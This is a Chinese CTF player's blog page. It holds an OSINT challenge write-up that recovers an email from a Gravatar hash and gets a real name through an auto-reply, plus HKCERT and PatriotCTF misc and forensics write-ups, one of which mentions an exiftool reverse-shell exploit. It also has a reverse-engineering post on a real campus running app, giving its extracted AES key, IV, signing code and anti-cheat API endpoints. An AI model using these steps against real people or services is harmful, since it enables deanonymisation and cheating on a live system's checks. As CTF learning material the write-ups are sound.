Home on Mnzn's Blog

碎碎念

Sun, 28 Jun 2026 00:00:00 +0000

🔒 本文已加密,请前往站点输入密码阅读。

用 Claude 大人开发博客主题小记

Sun, 05 Apr 2026 15:41:04 +0800

Intro

其实已经眼馋 Hugo/Hexo 很久了，Halo 虽然也挺好用，但是很多功能都需要付费，比如一些插件还有文章加密等等
最近逛 X 的时候看到一些个人认为很优雅的设计，在这里致谢一下

Cozy Window Shade — @masonwang025
Theme Switch — @dingyi

我个人真的非常喜欢这种简约有氛围的设计感
而且现在 VibeCoding 很火，也是立马用上最潮最热的 Claude Opus 4.6 来搞一下新的博客
整个过程大约三天，烧了 300$+ Tokens，包括文章格式迁移等等都交给 Claude 大人做了目前有自定义页面、文章加密和用 waline 实现的评论/阅读统计等
其实主要是为了好看，颜值万岁
价值 300$+ 的主题已经开源到 GayHub 了，方便的话点个 Star 呗 :D https://github.com/realmnzn/hugo-Atmosphere

一些小问题

其实一开始是想用 Astro 的，毕竟比较新感觉比较好玩，但是不知道为什么 AI 在把 html 代码搬上去的时候会写很多不必要的代码导致巨大的性能开销，卡的批爆
移动端下拉刷新的时候界面会一闪一闪，排查发现是显示区域一改变就触发 canvas 重绘了，直接半夜吃爆闪
添加图片放大的时候又开始爆闪了，研究半天才发现是因为 PJAX 没等样式加载好就又绘制

没啥了

除了好看以外，就是用上了垂涎已久的文章加密
除了整篇文章加密还支持段落加密
演示一下，密码是 meow

About

Fri, 03 Apr 2026 00:00:00 +0000

欢迎志同道合的师傅们加入 SU
简历投递：suers_xctf@126.com OR baozongwi QQ 2405758945
CTFTIME：https://ctftime.org/team/29641

Hello

24th 软件工程
Nickname： “Mnzn” or “Muyuan”
博客用来记录一下菜狗的日常

Contact

QQ: MTMxNTc0NDY0Mw==
Email: realMnzn@foxmail.com
GitHub: @RealMnzn

Stack

Misc | Forensic | Design
Python

赞助者 (Sponsor)	金额/礼物 (Amount)
baozongwi	✨ KFC * 1 ✨
2hi5hu	✨ KFC * 1 ✨ + 6.6 ¥
ShellWen Chen	✨ KFC * 1 ✨
Uncle_cui233	🧡

SUCTF2026-CyberTrack 出题人 WP

Fri, 20 Mar 2026 00:00:00 +0000

前言

几个月前，我还只是一名散修，有幸结识了许多实力强劲的师傅，最终顺利加入了 SU。恰逢 SUCTF2026 的举办，很荣幸能够以 SU 成员的身份参与本次比赛的出题工作。

起初，我打算设计一道黑盒题目。因为考虑到近期多场比赛中 AI 展现出毁天灭地般的强硬实力，难免会产生通过提高题目难度来限制完全依赖 AI 自动化解题的想法。但转念一想，这样的做法一方面未必真正有效，另一方面也可能无差别地增加所有选手的负担，对坚持“古法解题”的师傅们同样不够友好。这本身就是一把双刃剑，而我也并不希望出一道让人感到“被为难”的题目，换做是我，我也不愿意去做这样的题目。

同时，注意到本场比赛中尚未有师傅设计社工类题目。于是我转而准备一道偏娱乐性质的 OSINT 题目，尽量弱化技术门槛，更强调趣味性与参与感。
也希望各位师傅在解题过程中能够轻松一些，享受其中的乐趣，顺便想起我们最初为什么会喜欢上 CTF。

不过出题时并未预想到师傅们会这么发散思想… 许多师傅们似乎都将社工目标放到了我本人和其他提到的师傅(比如 2hi5hu)身上，说实话这对我造成了不少的困扰，我的各大社交账号基本都遭到了爆破骚扰，也是感受了一波被网暴的感觉，还挺恐怖的，不过也怨不得其他人，确实是我欠缺考虑了

题面

Site：

https://evanlin-suctf.github.io/

题目描述

互联网会记住很多人以为已经消失的信息。
你偶然发现了一个个人博客。表面上看，这只是一个记录日常生活和技术笔记的小站，但在这些零散的信息中，似乎隐藏着一些被忽视的线索。
尝试追踪这些数字痕迹，将散落在网络各处的信息拼接起来，看看它们最终会指向哪里。
最终的 flag 是某个字符串的 MD5 值。

Flag 规则

该字符串由 目标人物姓名与一个发现的字符串拼接而成，然后将整个结果 转换为小写 后计算 MD5。

姓名需要按照格式拼接：

规则：

去掉所有空格
姓名之间 不添加任何分隔符
顺序为 姓在前，名在后

最终计算规则

md5(lowercase(<姓><名> + "_" + <字符串>))

Flag示例

姓名: Sanfeng Zhang
字符串: abcd-dcba

拼接结果:
zhangsanfeng_abcd-dcba

Flag:
SUCTF{md5(zhangsanfeng_abcd-dcba)}

题解

本题在解题路线上属于双向并行任务，且博客中都有具体的提示：

姓名
1. 通过博客中信息了解邮箱设置了自动回复及 @foxmail.com 的邮箱域名
2. 通过使用 Gravatar 托管的头像 url 获取邮箱 hash
3. 使用博客中的已知信息构造社会工程学字典，爆破邮箱明文
4. 向邮箱发送任意邮件，从自动回复邮件中获得姓名
特殊字符串
1. 通过游戏图片获取到 Mnzn233 的游戏 ID
2. 结合博客内容以及 Minecraft，搜索到游戏历史 ID
3. 根据线索，利用搜索工具找到指定社交账号，获取特殊字符串

其中邮箱的获取途径似乎被非预期了，为了方便选手访问博客，使用了 GitPage 托管，却忘记了修改 git 提交记录中的邮箱，意识到的时候决定愿赌服输吧，还是我人菜导致的

这是一道非常传统的社工题，注意留意跟个人身份相关的关键信息
一共存在 7 篇博客日记

how they found me??
play with me T_T
Happy birthday~
don’t spam….
normal life
sad
today

比较直接的想法就是从里面获取信息然后寻找其他的社交媒体
最先注意到play with me篇中的图片

昵称是Mnzn233，结合 Minecraft，Google 一下即可得到

同时注意到 how they found me?? 篇中提到的，证实了曾用名是正确的方向

“最近突然有几个人在留言或者私信里提到我以前用过的一个旧网名。那个名字其实已经很久没用了，所以突然看到有人提起来的时候还是有点意外。

更离谱的是，居然还有人根据这个名字在另一个平台找到了我的账号，然后给我发了消息。虽然内容也只是随便说认出了这个名字，但还是让人感觉有点不太舒服。”

思路转向在 namemc 查到的曾用名，尝试 TurbidCloud,使用 https://instantusername.com/ 来检索其他社媒，检索到了Twitter

访问一下账号主页，能看到一个 discord 服务器的邀请链接，名为 Flag@here
说明找对了

进入discord群聊即可得到字符串 ddc7-4622-8a97

现在还差姓名没有找到 ,思路转向其他几篇日记，注意到 don’t spam…. 篇中的图片

分析这张图片能得到两个点：一个是该邮箱的后缀名是 @foxmail.com,另外一个奇怪的点在于Auto Reply is enabled，邮箱的自动回复是开着的，那么不难注意到应该是要找到这个邮箱地址并且发一封邮件，自动回复的邮件里就会有目标人物的真实姓名了。
梳理已知的线索，浏览还没有得到利用的几篇日记：
today篇提到了叫Momo的布偶猫，检索了一下发现没有什么可用的信息
normal life篇提到了同事shukuang和女朋友kanna.seto 看起来也是干扰信息

sad篇提到更换了头像，那么视角转到头像上

"下班回家之后也没什么特别想做的事情，随便做了点吃的，看了会儿视频，尽量不去想工作的事情。后来打开自己的账号页面，突然就想着把头像换掉了。之前那个头像其实已经用了挺久，正好换个新的。"

从网站资源发现头像使用 Gravatar 托管
https://gravatar.com/avatar/105e127d86711d05460e6072f7d809c5c9e0fe095ca7631e4c2e0ffc4acc3fa9

查阅资料得知：

Gravatar（Globally Recognized Avatar）是一个全球通用头像服务，它：

以一个邮箱地址为基础生成一个哈希值。
然后根据这个哈希值返回用户设置的头像。
如果该哈希对应的邮箱没有设置过头像，则可能返回默认图像。

头像 URL 的格式通常是：

https://gravatar.com/avatar/<HASH>

其中 <HASH> 是 邮箱地址经处理后哈希出来的值

可以推理得到：这个sha256哈希值应该就是目标邮箱生成的哈希值。
这里使用 cupp 生成社会工程学字典进行爆破
结合一下博客中提供的已知信息

Today -> 布偶猫 Momo
Normal life -> 同事 shukuang
Happy birthday -> ⽣⽇ 2024年11⽉23⽇
Play with me t_t -> 游戏ID Mnzn233
博客提供的昵称 EvanLin

使用这些信息构建字典，然后写如下exp爆破哈希：

import hashlib

target_hash = "105e127d86711d05460e6072f7d809c5c9e0fe095ca7631e4c2e0ffc4acc3fa9"

with open("evan.txt", "r", encoding="utf-8", errors="ignore") as f:
    for line in f:
        candidate = line.strip()
        email = candidate + "@foxmail.com"   
        sha256_hash = hashlib.sha256(email.encode()).hexdigest()

        if sha256_hash == target_hash:
            print("Match found:", email)
            break

爆破结果：

Match found: evanlin1123@foxmail.com

向 evanlin1123@foxmail.com 发送一封任意内容的邮件，即可收到回复：

邮件最后出现了姓名Zeyuan Lin
直接拼接姓名和字符串提交md5即可

flag：SUCTF{c4d1df3b3dbea17c886b447b7f913048}

结语

这也是我第一次为 XCTF 分站赛这样大规模的赛事参与出题，诚惶诚恐。一方面希望题目能够带来一些新鲜感和乐趣，另一方面也难免担心在设计思路、细节把控或体验上存在考虑不周的地方。

毕竟经验尚浅，能力也有限，题目中如果有不够完善、节奏把握不佳，或未能符合部分师傅预期的地方，还请大家多多包涵与理解。也非常欢迎各位师傅提出宝贵的意见和建议，这对我来说都是非常重要的积累和提升。

来自 🥬🐔 Misc 入门选手的 2025 年终走马灯

Wed, 31 Dec 2025 00:00:00 +0000

其实是跟风，看到其他师傅都写了年终总结，那我也蹭下热度

结果打开想了半天也不知道该写什么，感觉一年过去了，也没什么可记录的

所以来碎碎念吧

认识 CTF 的第一年，总结如下：

一开始是抱着好玩的心态来打 CTF，不过随着投入的时间、精力、金钱越来越多，发现已经上了贼船

不过还好在年末认识了很多大师傅，每天都在焦虑迷茫，还好有师傅们指点，都是很宝贵的经验，也很感谢大家

也不算什么都没有吧，参加了几次本地的线下赛，还参加了一些线上国际赛，不过大多都是走过场来的，还是太弱小了

依旧浑浑噩噩一事无成，什么时候才能改掉拖延的毛病，又拖了很多事情，比如想写东西建完仓库后 init 一下就抛之脑后了

意识到了还需要转型，学习新知识，AI 啊肾透啊，CTF 与实际工作环境还是大相径庭

单纯的misc还是吃不上饭（大佬勿喷，我是菜狗，我吃不上饭，仅代表我个人，不代表各位大佬🧎‍♀️

就这样祝愿大家 2026 都能更上一层楼，找工作的拿到心仪的 offer，有情人终成眷属，想赚钱的猛猛赚，让我一个人菜死就行

哦对了，

今年遇见了很多很多题目，有好题有烂题有💩题

好题的好大多就几方面：考点新、知识广、强度高、质量精

烂题其实说白了也是就那些问题：考点老、套娃狠

唯有史题，每题都能史出新花样，脑电波、谜语人，道道都能流传千古，遗臭万年

为了我的精神安全着想，决定专门开设一栏板块 —— 「年度答辩」

用于记录笔者一年来见到的史中最史，也便于大家排雷，每道题做的时候都是精彩至极，不喜就喷

顺手开个投票投出你认为最史的题目

✨ 2025 年度答辩 ✨

所有目光请向我看齐。
下面正式公布——参与 2025 年度答辩评比的候选题目。

评分标准说明：

评分完全主观
满分 100 分
分数越低，史度越低，题目质量越高


分数	题目名	来源比赛	史度评价
60	~~泄露的时间和电码~~	~~第八届“强网”拟态防御国际精英挑战赛~~	~~依赖工具过于猜谜~~ 考虑到提题目最后给出了 `"Mod R/M"` ，该 hint 具有相对的指向性，体现了出题人并非恶意，给了选手解题的希望，因此不算纯史
70	busbus	HKCERT 2025	首先黑盒加30分，其次感觉该题目的靶机似乎有问题，最初尝试了 modbus 协议无果，后来突然就可以了，以及需要通过 fuzz 才能猜出来的触发关键字 `"open"`，不过题目名也带有指向性，也不算纯史
101	zone_of_order	ASIS CTF 2025	题是好题，我没意见，问题出现在 flag 的展现方式，这可能是笔者这辈子见过最脑残的 flag 形式经过笔者多次谨慎分析，给出超越满分的史王分数

让我们用热烈的谩骂，恭喜来自 ASIS CTF 2025 的 zone_of_order 荣获 2025 年度答辩

本题考查 zoo 压缩格式，题目修改了删除标志位，考点没得说，但出题人不知道脑子是否沾染了某种物质，flag 通过四段 ASCII 字符画展现，解密出 4 份 txt 文件后得到完整的 flag ASCII 字符画

出题人在此 flag 中，混合使用了形态完全一模一样的 0(阿拉伯数字) 、O(大写英文字符o) 以及几乎一模一样 1(阿拉伯数字)、l(小写英文字符 L)，在与赛事 STAFF 团队沟通后无果，多次告知我 you are close ，本题解题耗时约 30mins，观察 flag 耗时约 40mins，以 10s 之差失去一血

希望这种脑溢血行为不会再出现第二次

年度史题 zone_of_order 具体 flag 字符画展示

是的你没看错开头的flag 部分为 ZO(大写英文字符)0(阿拉伯数字) ，以及最后一部分开头为 _0n3

第三部分开头f1lEs

我希望主办方能赔点钱买眼药水

HKCERT 2025 - MISC Writeup

Sat, 15 Nov 2025 00:00:00 +0000

HKCERT - 2025 - Misc

Little Wish

下载附件，得到两个文件

tellme.gift与小小心願，深沉的聲響.wav

Step1

tellme.gift的文件尾部有一个压缩包可用 Binwalk 压缩包内是wow_you_found_me.txt

Ⅰ. Look at that, what is "9a" ...? And what is the difference between "9a" and "7a"? 


Ⅱ. Seek out the "P" above all, since the key clue lies there. 


Ⅲ. But what is "P"? It can't be a pillow, right? Because if it were, I'd want to go to bed right now! (-: 




̷͒͘Ⅳ̧͓̄.̹̀͒  
̛͍̑?̻̀̆  
̼̐͘Ȃ̴͍  
̢͓̄n̵̻͗  
̢͎̐y̴̻͒  
̧͎̄t͈̐͘  
̹̕h̷̨  
͓̕į̻  
̢͇͒n̵͓̐  
͓̀̍g̶͓̅  

̵̹̎é͓̿  
́l̢  
͇́̆s̡̻̐  
͉͒͘e̢̼̿  
͎̐͘?̧͉̄

猜测提示I的 between “9a” and “8a” 为修复正确GIF文件头 “GIF89a”

修复出正确的gif文件，读取出帧间隔，除以10后 ASCII 解码即可得到 MENGMENG_XIANG

Step2

wav文件名深沉的聲響猜测是DeepSound隐写，尝试解密

使用Step1得到的MENGMENG_XIANG作为密钥，得到加密的 flag.zip

Step3

提示 II、III还没用到，询问AI，猜测 P 指的是 Palette 调色板

即 GIF 中的 Global Color Table 数据

F2 D1 AF F5 CA 98 FA C8 88 F9 B7 7B F2 B1 6F EF 
B6 91 F1 B6 82 E9 B2 86 D8 B2 97 F9 AD 68 F9 AC 
52 FB A6 33 FA 99 16 F4 96 49 FB 94 0B EE 92 4E 
EC 9B 6B D0 96 6D F4 8B 34 EB 8C 4F F3 91 35 F5 
8E 2B EA 86 35 EB 7D 49 F2 87 17 F7 88 08 F4 74 
32 EB 77 34 EC 73 2C F3 6E 2B D7 89 54 D8 81 38 
E6 79 17 E8 76 08 DC 71 04 D3 6D 15 AC 89 6E CE 
74 49 97 6E 57 EB 67 29 EA 69 29 E7 66 12 D7 6A 
06 D3 6A 2B CD 6B 27 D5 68 09 CC 62 07 EA 5A 15 
E4 59 14 DF 5F 23 DD 57 14 E3 54 0C DC 53 0B CA 
5A 09 B1 5C 24 AE 58 17 AC 67 35 8A 55 30 8E 4B 
14 7D 47 1A 73 3D 12 64 5A 53 6D 46 2C 4D 3E 33 
54 2D 11 32 2C 29 46 2A 16 3D 28 1B 2F 15 05 19 
12 0F 16 0B 02 09 06 04 00 01 01 00 01 01 01 01 
00 01 00 01 01 01 01 01 00 01 00 00 00 01 01 01 
00 01 01 00 00 01 00 01 00 01 01 01 00 01 00 00 
00 01 00 01 01 01 01 01 00 01 00 00 00 00 00 01 
00 01 01 00 00 01 01 00 00 01 01 01 00 01 00 00 
00 01 01 00 00 01 00 01 00 01 01 01 00 00 01 00 
00 01 00 01 01 01 01 01 00 00 01 01 00 00 01 00 
00 00 01 01 00 00 01 01 00 00 01 01 00 01 01 01 
00 01 00 01 01 01 01 01 00 01 00 01 00 00 00 00 
00 01 01 01 00 01 00 01 00 01 01 00 01 01 00 00 
00 01 01 00 01 01 00 00 00 01 01 01 00 00 01 01

将前半段数据与0x01按位与(lsb)得到一串新的00、01序列

再将完整数据 00 -> 0 01 -> 1

得到压缩包密码 The_Operator_I_Failed_To_Get_After_237_Pulls

解压得到flag flag{1Ch1B4n_SuK1_N4_W4t4sh1_N1N4RuN0~}

easyJail

Pickle 反序列化，AI梭了

exp

# pylint: disable = unnecessary-lambda-assignment, protected-access, redefined-builtin 
import pickle 
from io import BytesIO 
from base64 import b64decode 

_dispatch = pickle._Unpickler.dispatch 

_noop = lambda *_: None 
_noop_code = _noop.__code__ 

_DISABLED_OPCODES = [ 
    pickle.NEWOBJ_EX[0], 
    pickle.INST[0], 
    pickle.REDUCE[0], 
    pickle.OBJ[0], 
    pickle.NEWOBJ[0], 
] 

for opcode in _DISABLED_OPCODES: 
    _dispatch.pop(opcode) 

pickle._Unpickler.dispatch = _dispatch 

for method_name in ( 
    "load_newobj_ex", 
    "load_obj", 
    "load_reduce", 
    "load_newobj", 
    "load_inst", 
): 
    handler = getattr(pickle._Unpickler, method_name) 
    handler.__code__ = _noop_code 

__builtins__ = { 
    "input": input, 
    "ValueError": ValueError, 
    "bytes": bytes, 
    "isinstance": isinstance, 
} 

del _dispatch 
del _noop 
del _noop_code 
del _DISABLED_OPCODES 
del opcode 

_BLACKLISTED_SUBSTRINGS = { 
    "var", 
    "input", 
    "builtin", 
    "set", 
    "get", 
    "import", 
    "open", 
    "subprocess", 
    "sys", 
    "eval", 
    "exec", 
    "os", 
    "compile", 
} 


def loads(data: bytes): 
    if not isinstance(data, bytes): 
        raise TypeError("expected bytes") 

    for token in _BLACKLISTED_SUBSTRINGS: 
        if token.encode() in data: 
            raise ValueError(f"{token} not allowed") 

    buffer = BytesIO(data) 
    return pickle._Unpickler(buffer).load() 


opcode = b64decode(input("Enter your pickle: ").encode()) 
del b64decode 
loads(opcode)

busbus

Modbus协议有点猜迷

https://goodlunatic.github.io/posts/01ebd40/

传输标识符2B+协议标识符2B+长度2B+从机ID 1B+功能码1B+数据字段xB

功能码

1：读线圈

2：读离散输入

3：读保持

4：读输入

5：写单个线圈

6：写单个保持

15：写多个线圈

16：写多个保持

题目说是backdoor，需要trigger

解题方法是通过 FC15 向线圈内写入 ‘open’ 的 8-bit ASCII 序列后触发后门

再通过 FC03 读寄存器得到flag，虽然不知道为什么是open，但是就是open，fuzz

Deleted

取证

Q1) What is the computer username? e.g: bob

Root\Users\jack

jack

Q2) What is the device name? e.g: desktop-1d76lc4

Format: [a-z0-9-]+

在Root\Users\jack\AppData\Roaming\uTools\clipboard-data\1765137507668

有一个ebc82002a9d84b6978f70cd856581125文件，是png 显示了用户名

desktop-f9ta8al

Q3) What is the last time the device was shut down? Please provide your answer in UTC+8 timezone. e.g: e4d8b17ba7bdea5df12552034245edd7

Format: md5(YYYY/MM/DD HH:MM:SS).lowercase()

注册表 => Root\Windows\System32\config\SYSTEM

记录了以小端序FILETIME 存储的 ShutdownTime

转换为 UTC+8 即可: 2025-12-09 23:13:23

e1a465a0bd5e8f9fe35651ee71689a5f

Q4) What is the code word for the rendezvous planned by the suspect? e.g: c2443fd7e6e158b9497c3fde067af076

Format: md5(req:res).lowercase()

Root\Users\jack\AppData\Roaming\CherryStudio\IndexedDB\file__0.indexeddb.leveldb\000003.log
这里有一个 CherryStudio 的 ai 对话记录

UTF-16LE编码

暗号：你記得《黑客帝國》裏尼奧的電話型號嗎？:諾基亞8110，但我覺得貪食蛇更好玩。

93f91a283267c82e8baa9ae10b38bc1b

Q5 What instant messaging software did the suspect once use? e.g: line

Root\Users\jack\AppData\Local\SquirrelTemp 有 Discord 的卸载记录

ShimCache 也能看到相关记录

Q6 社交软件密码

在与 AI 的对话中还能看到，嫌疑人让ai生成了一个密码算法

不过这里的 CyberChef Recipe 是假的，而CyberChef的算法流程是在url中保存的

可以直接从Edge的记录中字符串搜到真正的url得到recipe

https://cyberchef.org/#recipe=Extract_domains(false,false,false)To_Lower_case()SHA3(‘512’)To_Base58(‘123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz’)Take_bytes(0,14,false)Substitute(‘a_D%23’,’_a%23D’,false)

Q7 主密钥

\Root\Users\jack\AppData\Roaming\uTools\database\default\

utools数据库读取ldb文件即可

Qu4ntum_L0ck_Ph0t0n2077#

Easy_Base

Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf

为单个字符的Base64正反交替

翻转后得到

Zg==bA==YQ==Zw==ew==RA==ZQ==bg==aQ==cQ==dQ==ZQ==dQ==Yg==aQ==ZQ==cg==aQ==dA==Xw==cw==YQ==bg==Zw==dQ==aQ==cw==YQ==Zw==bA==YQ==ZA==aQ==bw==cg==ZQ==Zw==aQ==cw==fQ==

解码得到flag flag{Deniqueubierit_sanguisagladioregis}

Suspicious File

Step1

Base58标准码表解码得到文件

问ai表示是avif文件

https://ezgif.com/avif-to-gif

转换成gif

转一下，得到last part: Future_0f_Im4ge_F0rm4t}

Step2

分理出单帧png，LSB，得到 firs t part:hkcert25{AVIF_Will_Be_The_

https://ezgif.com/avif-to-png

拼接得到完整flag hkcert25{AVIF_Will_Be_The_Future_0f_Im4ge_F0rm4t}

某某校园 App 协议与逆向分析

Sun, 12 Oct 2025 00:00:00 +0000

本次分析过程并非没有人受伤。

前言 — 一言难尽

新版的“某某校园”引入了大量抽象 anti‑cheat 机制，覆盖了多开、模拟器、虚拟机、so 注入、hook、调试器附加、SSL pinning 等多种检测，竭尽全力无法绕过

下面的内容以技术分析为主，请仅用于学习与研究，不要用于非法用途。

流程

抓包

该 app 启用了严格的 SSL pinning 策略。几乎无法直接绕过。

**思路：**使用旧版本的 APK、重写覆盖版本检测api。使用的是 reqable（自带 Py脚本支持，类似 Fiddler 的局域网抓包，还有Postman的api测试）非常推荐

抓包后会发现大量接口返回的数据是加密过的，同时请求中带有 sign 字段 —— 于是开始逆向 app，破解签名/加解密算法。

NaN. 脱壳解包

NaN. 使用 jadx 等工具查看 dex

NaN. 抽取加/解密密钥与算法实现，验证并复现加密/解密与签名逻辑。

下面给出部分逆向过程（旧版本 dex，但经过验证及对新版本逆向，逻辑与新版相同）：

网易易盾的壳，https://56.al 可在线脱壳 有实力的🈸可自行手撕

有趣的是，这个网站根据哈希判断，我上传上去 apk 后就秒脱了，意味着有人已经脱过了，看记录是在九月份

开逆

找到添加Sign请求头的代码

查找相关用例跟进

签名/加解密流程

理解完整的签名流程

获取密钥

跟进获取密钥的函数看到判断

(x7.d.b() == 9 || x7.d.b() == 11) ? "F44B0282BEA83557" : "huachenjie"

x7.d.b() 用于判断运行环境，初始化值为 9，因此选中的解密密钥为 F44B0282BEA83557。

继续跟进相关函数，可以找到用于数据加密的第二个密钥与其他配套逻辑。

复现算法（Python）

根据逆向结果整理并复现核心算法：

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

# ---------------- AES 工具 ----------------
IV = b"01234ABCDEF56789"
key_str = "F44B0282BEA83557"


def c(str2: str) -> bytes:
    """生成 32 字节 AES key"""
    if str2 is None:
        return None
    b = str2.encode('utf-8')
    if len(b) == 32:
        return b
    b_arr = bytearray(32)
    b_arr[:min(len(b), 32)] = b[:32]
    return bytes(b_arr)


def encrypt_aes(plaintext: str) -> str:
    key_bytes = c(key_str)
    cipher = AES.new(key_bytes, AES.MODE_CBC, IV)
    ciphertext = cipher.encrypt(pad(plaintext.encode('utf-8'), AES.block_size, style='pkcs7'))
    return base64.b64encode(ciphertext).decode('utf-8')


def decrypt_aes(cipher_b64: str) -> str:
    key_bytes = c(key_str)
    cipher = AES.new(key_bytes, AES.MODE_CBC, IV)
    ct_bytes = base64.b64decode(cipher_b64)
    pt_bytes = unpad(cipher.decrypt(ct_bytes), AES.block_size, style='pkcs7')
    return pt_bytes.decode('utf-8')

# ---------------- 哈希工具 ----------------

def obfuscated_hash(s: str, algo='sha256') -> str:
    """自定义 hash"""
    if not s:
        return ""
    h = hashlib.new(algo)
    h.update(s.encode('utf-8'))
    hexstr = h.hexdigest()
    if len(hexstr) < 16:
        return hexstr
    return hexstr[-8:] + hexstr[8:len(hexstr)-8] + hexstr[:8]

# ---------------- 签名计算 ----------------

def calculate_sign(data: str) -> str:
    """先哈希原文，再 AES 加密生成 sign"""
    hashed = obfuscated_hash(data)       # 先哈希
    sign = encrypt_aes(hashed)  # AES 加密 hash
    return sign

接口

抓包过程中发现若干 API

“阳光跑”接口

querySchoolFences

查询学校电子围栏信息，包括经纬度范围、开放时间、打卡点数量、面部识别要求等。

电子围栏为一个数组，具有至少三个经纬度信息点作为围栏

checkSunRunConfig

检查跑步计划配置，包括打卡方式、围栏、面部识别要求等信息

querySunRunAbstractInfoV2

获取指定阳光跑计划的汇总信息，同时下发学校要求的相关规定，包括但不限于禁止跑步时连接WIFI

uploadRunRecord

每 3 秒采样一次（包括围栏距离、经纬度、卫星信息等)，并每 15 秒通过 uploadRunRecord 上报一次——一次上报包含这 15 秒内采样的 5 个点的数据。

finishSunRun

结束一次跑步，并上传跑步的最终数据（步数、距离、轨迹、配速等），用于计算成绩并生成跑步记录。

该 app 后台会通过该包上传的相关数据来进行作弊判断和数据分析，但不仅限于此

如果 app 中途异常退出数据丢失，会先通过 queryUnFinishRun 查询未完成的运动记录，然后通过 abnormalFinishSunRun 接口来结束异常运动，数据将不会被记录

其他接口大家自行探索吧，方法都摆在这里了，不过多赘述

需要注意的是，该app后台有着严格的反作弊检测，小心测试……

声明：本文仅用于技术分享与研究，禁止用于破坏、侵入、或其他违法活动。

PatriotCTF 2025 Misc & OSINT & Forensics -- writeup

Wed, 01 Oct 2025 00:00:00 +0000

被带飞太爽了 😋🤓

Misc

Reverse Metadata Part 1

exiftool CVE

https://github.com/UNICORDev/exploit-CVE-2021-22204

反弹shell回来就行 flag在 /flags

Reverse Metadata Part 2

同上 flag在 /proc 删除的文件 grep找就可以

Half-Eaten Metapixels

打开mc文件是Golly https://golly.sourceforge.io/

Golly 是一款开源的跨平台应用程序，用于探索康威生命游戏和许多其他类型的元胞自动机。

经过一段时间的迭代后我们得到

到这里陷入了僵局因为可以发现 flag是不完全的而且这个迭代的速度是非常缓慢

我到这里大概跑了一个小时于是开始尝试观察

整个系统由n个小方块组成我们暂称每个小方块为区块

在初始的Generation=1时，

观察到每个区块的左下角有类似电路板的结构

而有活细胞区块的这部分与无活细胞区块的这部分结构不同

每个应该有东西的区块左下的ON OFF 区域的 B1-8是ON

没有东西的区块是OFF 并且这个规律与目前迭代出来的都对应上了

我们以其中一个变化的位置作为标志位采样编写脚本提取全部信息

Golly内置python脚本环境 https://golly.sourceforge.io/Help/python.html

编写脚本来提取标志位

import golly as g
import os

def export_01_grid():
    x_start = 138
    x_end   = 282762
    x_step  = 2048

    y_start = 1496
    y_end   = 21976
    y_step  = 2048

    desktop = os.path.join(os.path.expanduser("~"), "Desktop")
    filepath = os.path.join(desktop, "output.txt")

    with open(filepath, "w") as f:
        y = y_start
        while y <= y_end:
            line_bits = []

            x = x_start
            while x <= x_end:
                state = g.getcell(x, y)
                line_bits.append("1" if state == 1 else "0")
                x += x_step

            f.write("".join(line_bits) + "\n")

            y += y_step

    g.show("Done.")

export_01_grid()

然后将得到的二进制字符串转换为图像

from PIL import Image

# Provided text block
text = """0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000
0011000011001111101111001010000000000110000000100100011100011100000001000000000000000000011000110010000000001000110000011001000001110010100
0100100100100010001000001000000000001010000000101010100010100010000010100000000000000000100101001010000000001001001000101001000010001000100
0100100100100010001000001000100010010010011100100010100000000010000000100111100000001100100101001010000000111001000000101001110010001000100
0100100100000010001110010000100010100010100010100010111000011100000000101000000000010010100101001010000001001001110001001001001001110000010
0111000100100010001000001000010100111110100000100010100000000010000000100111000000010000100101001010000001001001001001111001001010001000100
0100000100100010001000001000010100000010100000100010100000100010111000100000101110010010100101001010111101001001001000001001001010001000100
0100000011000010001000001010001000000010100000100010100000011100000000101111000000001100011000110010000000111000110000001001110001110010100
0000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"""

# Parse lines
lines = text.strip().split("\n")
height = len(lines)
width = len(lines[0])

# scale factor
scale = 8
img = Image.new("RGB", (width * scale, height * scale), "white")
pixels = img.load()

for y, line in enumerate(lines):
    for x, c in enumerate(line):
        color = 0 if c == '1' else 255
        # fill 4x4 block
        for dy in range(scale):
            for dx in range(scale):
                pixels[x*scale+dx, y*scale+dy] = (color, color, color)

# Save image
path = "C:\\Users\\Mnzn\\Desktop\\output_image.png"
img.save(path)

我们就得到了flag图 O(∩_∩)O

Mysterious XOR

观察报文，发现存在大量字符 g

结合题目描述 One byte is all you ever need. 和题目的 XOR
提取出原始字节流与字符 ‘g’ 进行异或得到ELF文件

接下来是对ELF文件的逆向分析

写exp

import socket

from datetime import datetime, timezone

def cur_dt_bytes():

    """
    cur_dt: "YYYYMMDDTHHMMZ" (UTC)
    """
    now_utc = datetime.now(timezone.utc)
    s = now_utc.strftime("%Y%m%dT%H%MZ")
    return s.encode()

def build_v8():

    """
    v8 = "/tmp/" + cur_dt(...)
    """

    base = b"/tmp/"
    dt = cur_dt_bytes()
    v8 = base + dt
    return v8

def build_v11():

    """
    xsp(v8, "1337", v11)
    - v11[0..18] = v8[i] XOR key[i]
    - v11[19]    = '\n'
    """
    v8 = build_v8()
    key = b"1337" + b" " * (19 - 4)  # "1337" + 15 个空格
  
    out = bytearray(20)
    for i in range(19):
        out[i] = v8[i] ^ key[i]
    out[19] = 0x0A  # '\n'
    return bytes(out)

payload = build_v11()

Forensics

Word Sea Adventures

解压docx 得到三张图片

steghide提取出三段信息

Mr Crabs heard that his cashier may be hiding some money and maybe a flag somewhere.
Spongebob is so chill! Why would he be hiding any flags?
I guess you found handsome squidward… even his looks can’t hide the flag.
pctf{w0rD_f1le5_ar3_als0_z1p

We Go Gym

此题为TTL
统计出所有交互ip 次数最多的ip的TTL经过ascii解码后为flag

from scapy.all import rdpcap, IP

from collections import Counter, defaultdict

  

pcap_file = "wegogym.pcap"

  

packets = rdpcap(pcap_file)

  

ttl_per_src = defaultdict(Counter)

src_counter = Counter()

  

for pkt in packets:

    if IP in pkt:

        src = pkt[IP].src

        ttl = pkt[IP].ttl

        ttl_per_src[src][ttl] += 1

        src_counter[src] += 1

  

